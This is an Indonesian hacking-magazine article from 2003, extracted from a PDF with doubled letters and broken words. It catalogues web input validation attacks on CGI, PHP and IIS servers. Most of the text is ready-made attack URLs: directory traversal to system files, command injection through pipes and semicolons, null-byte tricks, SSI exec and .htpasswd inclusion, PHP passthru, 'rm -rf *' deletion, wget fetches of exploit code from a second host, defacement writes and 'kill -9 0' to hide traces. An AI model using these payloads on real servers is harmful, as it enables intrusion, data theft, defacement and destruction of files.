/  3
NeoTekno
22NeoTekJanuari 2003
ORT80 MERUPAKAN PORT STANDAR UNTUKsebuah
situs Web, tetapi dapat mengizinkan seseorang

untuk melakukan serangan, baik terhadap akses
admin situs Web maupun servernya. Salah satu teknik
untuk melakukan serangan tersebut adalahF

F
i
i
n
n
g
g
e
e
r
r
p
p
r
r
i
i
n
n
t
t
P
P
o
o
r
r
t
t
8
8
0
0
. Teknik ini dilakukan dengan menggunakan eksploit
terhadap aplikasi Web server yang menggunakan CGI.
Request

Karakter khusus yang berupa tanda titik ataupun berupa kode ASCII yang lebih memiliki istilah yaitu "request", merupakan tanda yang umum digunakan dalam melaku- kan fingerprint terhadap aplikasi web server. Umumnya lubang pada CGI memuat beberaparequest.

1. "." ".." dan "..."

Fungsinya untuk mengganti direktori pada server web
untuk mendapatkan akses yang tidak ditampilkan pada
khalayak umum/pengguna akses Web tersebut. Jika sese-
orang melakukanrequest dengan melakukanbrowsing
terhadap sebuah file pada server yang memungkinkannya
menggali cukup banyak informasi untuk mendapatkan
lebihprivilege (hak istimewa).

Contoh penggunaan:
http://host/cgi-bin/*.cgi?file=../../../../etc/motd
2. "%20"

Nilai hex yang berarti pemberian 1 spasi. Beberapa apli- kasi web menggunakan karakter ini yang kadang-kadang digunakan utuk membantu mengeksekusi perintah.

Contoh penggunaan:
http://host/cgi-bin/*.cgi?page=ls%20-al|
Contoh di atas juga menggambarkan serangan untuk
mengeksekusi perintahl
l
s
s

pada sistem UNIX yang akan
memperlihatkan isi direktori. Jika hal itu terjadi artinya
seseorang telah mendapat izin untuk mengakses data-data
penting yang ada pada sistem dan dapat juga memberikan
ide selanjutnya pada orang itu untuk mendapatkan hak

istimewa(privilege).
3. "%00"

Nilai Hex yang berarti 0 byte. Dapat digunakan untuk
membodohi aplikasi web pada sebuah perbedaan tipe dari
file yang dapat memperlihatkan sifat tertentu untuk me-
nyelidiki dan menemukan sebuah lubang di dalamnya.

Contoh penggunaan:
http://host/cgi-bin/*.cgi?page=index.html
http://host/cgi-bin/*.cgi?page=../../../../etc/motd

Sebuah aplikasi Web mungkin tidak mengizinkan request
tersebut karena hal itu menetapkan nama file dengan
akhiran .htm, .html, .shtml, atau tipe file lainnya. Dengan
arti kata itu bukan merupakan tipe file yang valid. Jadi
sebaiknya menggunakan nama file yang pasti, dari situ
seseorang akan dapat menggali path server, nama file, dan
kemudian kemungkinan menggali lebih banyak informasi
mengenai sistem. Agar aplikasi mengetahui dengan sendi-
rinya akhiran nama file menegaskan untuk dapat diteri-
ma tipe file, beberapa aplikasi web melakukan penahanan
untuk request file yang valid dan inilah metode yang
umumnya digunakan oleh para penyerang.

Contoh:
http://host/cgibin/*.cgi?page=../../../../etc/motd%00html
4. "|"
Karakter pipa yang sering digunakan pada UNIX untuk
membantu mengeksekusi perintah kelipatan/bertingkat.
Contoh:
#cat access_log| grep -i "/../"
Contoh penggunaan:

http://host/cgi-bin/*.cgi?page=../../../../bin/ls|
http://host/cgi-bin/*.cgi?page=../../../../bin/ls%20-al%20/etc|
http://host/cgi-bin/*.cgi?page=cat%20access_log|grep%20-

i%20"lame"
5. ";"
Katakter ini mengizinkan perintah kelipatan/bertingkat
untuk dapat dieksekusi dalam sebuah kesulitan pada
sistem UNIX. Contoh:#id;uname -a

Seringkali aplikasi Web mengizinkan karakter ini dan itu merupakan ide yang buruk bagi admin Web server karena tanda bahaya kesalahan akan hilang dan penyerang dapat mengakses dengan sangat baik.

6. "<", ">"

Karakter ini tertahan dalam log untuk alasan yang banyak sekal. Pertama karakter ini digunakan untuk melampirkan data ke file-file. Contoh: #echo "your hax0red h0 h0" >> /etc/motd (UNIX sistem) seseorang akan mudah meng- gunakanrequest ini untuk melakukandeface terhadap

situs Web.
Contoh penggunaan:
http://host/*.php=<b>Hi%20sayang%20aku%20lapar</b>
7. "!"
Karakter ini sering digunakan dalam serangan-serangan
SSI (Server Side Include). Karakter ini mengizinkan

Unicode dan double decode bug yang banyak digunakan untuk menyerang IIS pada sistem Windows pada
dasarnya merupakan input validation attack. Hal ini dikarenakan sejak awal kemunculan Web
keamanan terhadap input yang tidak terduga kurang diperhatikan, termasuk juga pada sistem Unix/Linux.

Fingerprint P
Fingerprint Port 80
ort 80
Input V
Input Validation Attack
alidation Attack
P
NeoTekno
Januari 2003NeoTek23

seorang penyerang untuk memiliki seperti hasil-hasil
sebagai skrip eksploit jika seorang penyerang membodohi
seorang user untuk melakukan klik terhadap sebuah link.

Contoh:
http://host1/*.php=<!%20--
#include%20virtual="http://host2/fake.html"-->

Karakter tersebut juga mengizinkannya untuk mengekse- kusi perintah pada sistem dengan hak istimewa pengguna server web.

Contoh:
http://host/*.php=<!%20#<!--#exec%20cmd="id"-->
Karakter tersebut juga dapat mengizinkan pencantuman
file-file yang hidden.
Contoh:
http://host/*.php=<!%20--#include%20virtual=".htpasswd"-->
8. "<?"

Karakter ini sering digunakan ketika mencoba memasuk- kan php ke dalam remote aplikasi Web dan itu memung- kinkan perintah eksekusi pada setup server dan kontribusi lainnya.

Contoh:
http://host/*.php=<? passthru("id");?>
9. "`"

Karakter yang sering digunakan dalam Perl utuk mengek- sekusi perintah-perintah. Karakter ini tidak normal dalam aplikasi Web, walaupun begitu ini sangat serius.

Contoh:
http://host/*.cgi=`id`
Tambahan Lainnya

Berikut ini merupakan perintah-perintah yang digunakan
penyerang dalam mengeksekusi sepanjang web
vulnerable untuk remote eksekusi perintah. Tetapi
perintah-perintah yang ditampilkan disini tidak komplit,
hanya perintah-perintah yang umum digunakan saja.

1. "/bin/ls"
Ini binary dari perintah ls yang digunakan pada path-path
penuh untuk sedikit lubang-lubang umum pada aplikasi
Web.
Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/*.cgi?doh=ls%20-al;
2. "cmd.exe"

Ini merupakan shell windows, seorang penyerang jika
memiliki akses atas skrip ini akan dapat melakukan apa
saja dalam sistem Windows untuk izin server. Hampir
seluruh worm/virus melibatkan port 80 menggunakan
cmd.exe untuk menolong menyebarkan infeksinya ke

remote system.
Contoh:
http://host/scripts/*.asp=../../WINNT/system32/cmd.exe?dir+e:\
3. "/bin/id"

Binary ini adalah perintah id yang digunakan pada path- path penuh untuk sedikit lubang-lubang aplikasi web. Ini dapat mengakibatkan perintah remote pengeksekusian

lubang-lubang.
Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../bin/id|
http://host/cgi-bin/*.cgi?doh=id;
4. "/bin/rm"

Binary ini adalah perintah rm yang digunakan pada path-
path penuh untuk sedikit lubang-lubang aplikasi web. Ini
dapat mengakibatkan perintah remote pengeksekusian
lubang-lubang yang mengizinkan untuk menghapus file-

file.
Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../bin/rm%20-rf%20*|
http://host/cgi-bin/*.cgi?doh=rm%20-rf%20*;
5. "wget", "tftp"

Ini merupakan perintah yang sering digunakan oleh pe-
nyerang atau virus untuk men-download file-file ekstra
yang dapat digunakan untuk lebih menggali sistem. Wget
merupakan perintah pada sistim UNIX yang digunakan
untuk download pada backdoor. Begitu juga dengan tftp
merupakan perintah pada sistem UNIX dan Windows NT
yang digunakan untuk ownload file-file. Beberapa virus
IIS digunakan untuk perintah tftp dalam download copy
dirinya untuk diinfeksikan kehost untuk penyebarannya.

Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../path/to-
wget/wget%20http://host2/Phantasmp.c|
http://host/cgi-bin/*.cgi?doh=wget%20http://www.fictif-
security.net/Phantasmp.c;
6. "cat"

Perintah ini digunakan untuk melihat isi file-file. Digu- nakan untuk membaca informasi-informasi penting se- perti file konfigurasi, file password, file kartu kredit dan lain sebagainya.

Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../bin/cat%20/etc/motd|
http://host/cgi-bin/*.cgi?doh=cat%20/etc/motd;
7. "echo"
Perintah ini sering digunakan untuk mencantumkan data
ke file-file seperti index.html
Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../bin/echo%20"fc-
#kiwis%20was%20here"%20>>%200day.txt|
http://host/cgi-bin/*.cgi?doh=echo%20"fc-
#kiwis%20was%20here"%20>>%200day.txt;
8. "ps"
Perintah ini digunakan untuk menunjukkan list dari
proses yang berjalan.
Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../bin/ps%20-aux|
http://host/cgi-bin/*.cgi?doh=ps%20-aux;
9. "kill", "killall"

Perintah ini digunakan untuk meng-kill atau menghen-
tikan proses pada sistem UNIX baikservice sistem maupun
program. Perintah ini digunakan untuk menutupi jejaknya.

Contoh:
http://host/cgi-bin/*.cgi?doh=../bin/kill%20-9%200|
http://host/cgi-bin/*.cgi?doh=kill%20-9%200;

Share & Embed

More from this user

Add a Comment

Characters: ...